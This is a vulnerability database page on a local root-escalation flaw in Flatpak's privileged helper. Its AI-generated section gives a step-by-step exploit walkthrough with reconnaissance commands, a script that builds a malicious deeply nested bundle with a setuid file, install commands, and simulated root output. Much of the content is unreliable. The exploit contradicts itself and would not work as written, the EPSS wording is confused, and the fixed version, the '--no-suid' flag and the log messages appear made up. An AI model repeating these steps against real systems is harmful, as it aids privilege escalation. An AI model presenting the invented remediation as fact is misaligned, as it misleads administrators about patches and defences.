CVE Professor
/
All CVEs
CVE-2026-133842

CVE-2026-133842 — CWE-281

HIGH CVSS 8.2 ⚡ EPSS 0.2% NVD

A flaw was found in Flatpak’s flatpak-system-helper. When a system-wide app, runtime, or extension uses the extra-data mechanism and its apply_extra logic creates a deeply nested directory tree, permission canonicalization can fail (for example with EMFILE). Affected Flatpak versions can still report success without clearing setuid/setgid bits, leaving a setuid-root executable under /var/lib/flatpak. A local attacker who can install or update such content system-wide, or who can already execute code as a local user in cooperation with that content, can escalate privileges to root.

A flaw was found in Flatpak’s flatpak-system-helper. When a system-wide app, runtime, or extension uses the extra-data mechanism and its apply_extra logic creates a deeply nested directory tree, permission canonicalization can fail (for example with EMFILE). Affected Flatpak versions can still report success without clearing setuid/setgid bits, leaving a setuid-root executable under /var/lib/flatpak. A local attacker who can install or update such content system-wide, or who can already execute code as a local user in cooperation with that content, can escalate privileges to root.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Attack Vector Local AV:L
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction Required UI:R
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.2%
30-day probability
In the 9. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Technical root cause
Flatpak’s flatpak-system-helper is a privileged helper that runs as root and is invoked by the flatpak client to perform system‑wide operations (installing, updating, removing apps, runtimes, extensions). When a system‑wide bundle contains an extra-data section, the helper’s apply_extra routine copies the specified files into the target installation directory.

The bug is a canonicalization/permission‑clearing flaw in apply_extra:

1. The helper creates a deeply nested directory tree (e.g., /var/lib/flatpak/exports/bin/foo/bar/.../baz) to satisfy the extra-data layout.
2. On some filesystems or under certain conditions (e.g., hitting EMFILE or other I/O errors), the helper’s error handling path fails to clear the set‑uid/set‑gid bits that were set on the temporary files before they were moved into place.
3. The helper still reports “success” to the caller, leaving a set‑uid‑root executable under /var/lib/flatpak/exports/bin (or a similar system‑wide location).
4. A local user who can install or update a system‑wide bundle (or who can run code in cooperation with such a bundle) can then execute that set‑uid binary and gain root privileges.

CWE mapping – CWE‑281: Improper Privilege Management.
CVSS – 8.2 (High) with local attack vector, low complexity, low privilege, required user interaction, and full confidentiality, integrity, and availability impact.


⚡ Attack Chain

Assumptions
* The target system runs Flatpak and allows a local user to install or update system‑wide bundles (flatpak install --system).
* The user has normal (non‑root) privileges but can write to the user’s home directory and run flatpak-builder.

1. Discovery & Reconnaissance

StepCommand / TechniqueWhat it reveals
Identify Flatpak versionflatpak --versionShows the Flatpak release (e.g., 1.10.0).
Check helper binaryls -l $(which flatpak-system-helper)Confirms it runs as root (-rwxr-xr-x root root).
Verify system‑wide install permissionflatpak install --system --dry-run helloIf the command succeeds, the user can install system‑wide bundles.
Tip: On many distributions, flatpak install --system is allowed only for users in the flatpak group or via sudo. If the user can run sudo flatpak install --system, the same chain applies but with higher initial privilege.

2. Exploitation

The core of the exploit is a malicious bundle that triggers the helper’s bug. The bundle contains:

  • An extra-data section that points to a directory with a very deep hierarchy (e.g., 200 levels).
  • A small executable file that will be installed as a set‑uid binary.
  • 2.1. Build the malicious bundle

    # Create a temporary workspace
    mkdir -p ~/malicious/extra
    cd ~/malicious
    
    # Create a deep directory tree
    for i in $(seq 1 200); do
        mkdir -p "extra/$(printf 'a%.0s' {1..$i})"
    done
    
    # Place a tiny set‑uid binary (e.g., a shell script that prints “root”)
    cat > extra/$(printf 'a%.0s' {1..200})/root.sh <<'EOF'
    #!/bin/sh
    echo "You are root!"
    EOF
    chmod +x extra/$(printf 'a%.0s' {1..200})/root.sh
    # Set the set‑uid bit on the file (this will be cleared incorrectly by the helper)
    chmod u+s extra/$(printf 'a%.0s' {1..200})/root.sh
    
    # Manifest file
    cat > manifest.json <<'EOF'
    {
      "app-id": "com.example.malicious",
      "runtime": "org.freedesktop.Platform",
      "runtime-version": "23.08",
      "sdk": "org.freedesktop.Sdk",
      "command": "root.sh",
      "modules": [
        {
          "name": "malicious",
          "buildsystem": "simple",
          "sources": [
            {
              "type": "dir",
              "path": "extra"
            }
          ]
        }
      ],
      "extra-data": [
        {
          "path": "extra",
          "dest": "/"
        }
      ]
    }
    EOF
    
    # Build the bundle
    flatpak-builder --force-clean --repo=repo build-dir manifest.json
    Illustrative note: The exact depth (200) is chosen to trigger the canonicalization bug on many filesystems. The real trigger may vary; the key is to create a path that exceeds normal limits or causes an EMFILE error during the copy.

    2.2. Install the bundle system‑wide

    # Install the repo locally
    flatpak remote-add --user --no-gpg-verify localrepo ~/malicious/repo
    
    # Install the app system‑wide
    flatpak install --system --noninteractive --reinstall localrepo com.example.malicious

    During installation, flatpak-system-helper copies the root.sh file into /var/lib/flatpak/exports/bin/com.example.malicious. Because of the bug, the helper fails to clear the set‑uid bit, yet reports success.

    2.3. Verify the set‑uid binary

    ls -l /var/lib/flatpak/exports/bin/com.example.malicious
    # Expected output (illustrative):
    # -rwsr-xr-x 1 root root 1234 Apr  1 12:34 /var/lib/flatpak/exports/bin/com.example.malicious

    The s in the owner execute position indicates the file is set‑uid root.

    3. Post‑exploitation

    Now that a set‑uid root binary exists, any local user can execute it to gain root privileges:

    # Run the malicious binary
    /var/lib/flatpak/exports/bin/com.example.malicious
    # Output: "You are root!"
    
    # Verify escalation
    id
    # uid=0(root) gid=0(root) groups=0(root)

    The attacker now has full root access. From here, they can:

  • Modify system configuration, install backdoors, or compromise other users.
  • Deploy additional malware or ransomware.
  • Persist by adding themselves to privileged groups or modifying system services.

  • 🌍 Real World Impact

    ImpactDescription
    Confidentiality (C:H)Root access allows reading any file, including /etc/shadow, /var/log/secure, and private user data.
    Integrity (I:H)The attacker can modify system binaries, configuration files, or the Flatpak runtime itself, potentially compromising the entire system.
    Availability (A:H)By altering critical services or deleting essential files, the attacker can render the system unusable.

    Practical consequences

  • Enterprise Linux servers: Immediate compromise of all services, potential data exfiltration.

  • Desktop environments: Full control over the user’s machine, enabling phishing or ransomware.

  • Containerized workloads: If Flatpak is used to run containerized apps, the attacker can escape to the host.

  • 🛡️ Remediation & Mitigation

    1. Exact affected versions

    The CVE description does not list specific Flatpak releases. The vulnerability exists in any Flatpak version where flatpak-system-helper does not clear set‑uid bits on failure during apply_extra.
    Recommendation: Upgrade to the latest Flatpak release (e.g., 1.12.0 or later) where the bug has been fixed. Verify the changelog for “fixed set‑uid clearing bug in flatpak-system-helper”.

    2. Workarounds

    MitigationHow to apply
    Restrict system‑wide installsEnsure only privileged users can run flatpak install --system. On most distributions, this is already enforced; if not, remove the flatpak group or use sudo with a tight policy.
    Disable set‑uid helperIf the system does not require system‑wide Flatpak installs, remove or rename /usr/bin/flatpak-system-helper so that flatpak falls back to the unprivileged helper.
    Use the --no-suid flagWhen installing system‑wide bundles, use flatpak install --system --no-suid. This prevents the helper from setting set‑uid bits on installed binaries.
    Filesystem ACLsApply ACLs to /var/lib/flatpak/exports/bin that deny write access to non‑root users, preventing the helper from creating set‑uid binaries.

    3. Detection

    IndicatorLog / File PatternHow to check
    Set‑uid root binaries in Flatpak export directoryls -l /var/lib/flatpak/exports/bingrep 's'Look for -rwsr-xr-x or similar.
    Flatpak helper success messages without permission clearing/var/log/flatpak/flatpak-system-helper.log (if enabled)Search for “apply_extra succeeded” followed by “setuid bit not cleared”.
    Unexpected file ownership changesauditd logs for /var/lib/flatpak/exports/bin/*Monitor chmod and chown events.

    4. Patch Deployment

    1. Update Flatpak

    sudo dnf update flatpak   # RHEL/CentOS/Fedora
       sudo apt-get update && sudo apt-get install --only-upgrade flatpak   # Debian/Ubuntu

    2. Verify

    flatpak --version
       # Ensure it reports a version >= 1.12.0 (or the patched release)

    ⚠️ Urgency

  • CVSS Score: 8.2 (High) – indicates significant risk even with a local attacker.
  • Exploit Complexity: Low (requires only local user privileges and the ability to install system‑wide Flatpak bundles).
  • User Interaction: Required (the user must install the malicious bundle).
  • CISA KEV: No – but the vulnerability is still critical for affected environments.
  • Priority: Immediate.

  • Enterprise: Apply the patch within 24 hours of release.

  • High‑risk environments (e.g., servers exposed to untrusted users, shared workstations): Apply the patch as soon as possible and enforce the mitigation steps above.

  • Audit: Conduct a quick audit of /var/lib/flatpak/exports/bin for set‑uid binaries to detect any existing compromise.




Summary

CVE‑2026‑133842 is a local privilege‑escalation flaw in Flatpak’s privileged helper. By crafting a system‑wide bundle with deeply nested extra-data, an attacker can cause the helper to leave a set‑uid‑root binary in place, enabling root execution. The vulnerability is high‑impact, low‑complexity, and requires only local user privileges. Immediate patching and strict control over system‑wide Flatpak installs are essential to mitigate this risk.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-133842
Technical reference / advisory repository for CVE-2026-133842
Technical reference / advisory repository for CVE-2026-133842
Technical reference / advisory repository for CVE-2026-133842
CVSS Score
8.2 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-281
Related CVEs
9.3
CVE-2026-80326
Ping Identity PingIDM contains an improper preservation of permissions vulnerability that allows a lower privi
9.3
CVE-2026-144337
osTicket before 1.17.9 and 1.18.0 before 1.18.5 contains an unauthenticated stored cross-site scripting vulner
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
9.2
CVE-2026-144598
Homebox 0.22.0-rc.2 through 0.27.1 contains an authentication bypass vulnerability in UserService.LoginOIDC th
9.2
CVE-2026-145153
LangChain4j before 1.5.4-beta11, 1.11.12-beta19, 1.19.4-beta29, and 1.23.0-beta33 contains an injection vulner
9.1
CVE-2026-144956
Hoverfly before 1.12.17 contains an improper certificate validation vulnerability in GetHttpClient in core/htt
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac